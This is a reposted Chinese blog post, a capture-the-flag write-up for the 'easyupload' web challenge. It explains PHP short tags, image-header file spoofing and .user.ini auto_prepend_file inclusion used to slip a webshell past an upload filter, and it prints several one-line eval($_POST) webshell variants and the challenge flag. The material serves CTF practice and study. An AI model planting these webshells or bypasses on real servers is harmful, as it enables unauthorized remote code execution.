0


Web安全攻防世界06 easyupload

问题描述

这道题我挣扎了很久,还是没有解出来,详细错误解题思路可以参考另一篇博文~(#_<-)

CTF 总结01:文件上传绕过_梅头脑_的博客-CSDN博客

↑博文很啰嗦地讲述了我用蚁剑连接一句话木马花式写法的各种失败姿势,面对文件上传一步一个坑的绝望心态,欢迎同伴围观、吐槽和指点~

———————————————————————————————————————————

大佬的WP:攻防世界WEB练习-easyupload_不知名白帽的博客-CSDN博客_easyupload

工具:Burpsuite、蚁剑;

解题基本流程:

1)**.user.ini文件增加图片头**→上传.user.ini,burpsuite抓包修改文件类型

2)php短标签木马增加图片头→修改文件后缀→上传图片→回显图片上传地址

3)蚁剑→连接上传地址同目录的php文件(不可以直接连接非.php后缀的图片)

大佬的WP已经非常详细了,因此具体解题步骤不再搬运,本文仅为上述流程加粗部分涉及的知识点补充注脚:

1 php短标签

2 图片马的头部类型

3 .user.ini配置文件

(●'◡'●)顺便说一下,答案是 cyberpeace{ea48baaa2c8fad7d2898b7d430d0e338} ,题目会经常变更flag,所以只是短期有效哦~


思路分析

1 php短标签

php中最常见的标签为<?php ?>~

<?php @eval($_POST['a']);?>

不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:

①<? ?> 仅在配置short_open_tag=on时可以使用,适合执行php语句;

②<?= ?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句~

上述二者的短标签都不必闭合(即?>可以省略不写,也可以连接成功)~

<?  @eval($_POST['a']);?>
 
<?= @eval($_POST['a']);?>
 
<?  @eval($_POST['a']);
 
<?= @eval($_POST['a']);

③<% %> 据说需要配置php.ini文件中asp_tags=on(php.ini默认状态下是关闭的),但是我没有在php.ini中找到该选项...

④<script language="php"></script> php7及之后官方就已经不支持的写法,呃不过我在php5的环境中也没有能够连接成功...

————————————

不重要插曲:自己是下载phpstudy搭建的环境,需要寻找php.ini文件,这个可以在phpinfo页面显示,输入下面的代码,打开服务器与浏览器~

<?php phpinfo(); ?>

打开网页后发现只显示源码...

​ 经过查询原来是网站状态过期了...

点击左上角再创建一个网站,重启apache服务就好啦~

嗯...这个码打得不是很有灵魂...

————————————

php短标签参考1:php中的短标签 太坑人了 - dongguol - 博客园 (cnblogs.com)

php短标签参考2:无字母数字webshell总结 - 先知社区 (aliyun.com)

2 图片马的头部类型

图片马需要在.php文件前增加文件头,上传时偶尔需要配合burpsuite抓包修改content-type,常见图片搭配格式如下表所示:
文件格式php 文件头content-type.jpg .jpe .jpegJPGGraphic Fileimage/jpeg.pngPNG Image Fileimage/png.gifGIF 89Aimage/gif
若题目要求上传其他格式的文件,如doc、pdf、dwg等,可以参考下面的博文:

图片马参考1:文件头_iqiqiya的博客-CSDN博客_gif文件头

图片马参考2:Content-type_瀚忄的博客-CSDN博客

3 .user.ini配置文件

.user.ini参考1:文件上传之.user.ini - NineOne_E - 博客园 (cnblogs.com)

.user.ini参考2:php - 神秘的.user.ini文件 - 技术圈 - SegmentFault 思否

.user.ini介绍:

正规的网站中,每个网站都会有php.ini文件在默默地影响网站配置,对于php.ini感兴趣的话可以浏览这个网址:PHP: php.ini 配置选项列表 - Manual

php.ini主要配置可分为以下四个模式:

.user.ini相当于迷你版的php.ini,可以配置除了php_ini_system以外的所有设定,具有文件包含功能,适用于ctf中上传图片马的题目~

文件包含语句如下:

auto_prepend_file=test.jpg

auto_append_file=test.jpg

另外注意到,因为语句auto_prepend_file与auto_append_file表达的意思是附着在文件前或文件后实行包含,所以图片马上传以后需要连接同目录的php文件,不是直接连接图片哦~

如何查询同目录的php文件:

①可以打开F12开发者工具-网络-名称中查询,如下图,可以看到请求网址存在index.php~

②传说中有大侠选择直接拔起御剑大杀四方,这个因为我暂时没有用过...目前只能羡慕前辈们潇洒的背影~有兴趣可参考:御剑下载使用教程_码啊码的博客-CSDN博客_御剑使用教程

③有时同文件指定上传路径目录中没有文件,可以试试在文件名称或上传路径中补充"../",将文件传输到上一级目录中~

.user.ini的使用局限:

可以在服务器启用CGI/FastCGI SAPI时使用默认名称为.user.ini,默认上传时间为300秒,所以如果php.ini没有修改这个配置,那也就是在上传.user.ini 一段时间以后才能进行操作PHP: .user.ini 文件 - Manual

所以啊,在上传或者干掉.user.ini之后,发现配置没有立刻被刷新,还是不能上传文件的话,也许静静等待300秒再操作就会出现奇迹呢~(●'◡'●)


再次啰嗦:对于文件上传有兴趣的话可以点击这里参考下面的链接,现在主要是在记录踩坑失败的经历,后期也会慢慢补充完善的~

CTF 总结01:文件上传绕过_蚁剑返回数据为空_梅头脑_的博客-CSDN博客

博文写得模糊或者有误之处,欢迎留言讨论与批评~

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

标签: php web安全

本文转载自: https://blog.csdn.net/weixin_42789937/article/details/128356918
版权归原作者 梅头脑_ 所有, 如有侵权,请联系我们删除。

“Web安全攻防世界06 easyupload”的评论:

还没有评论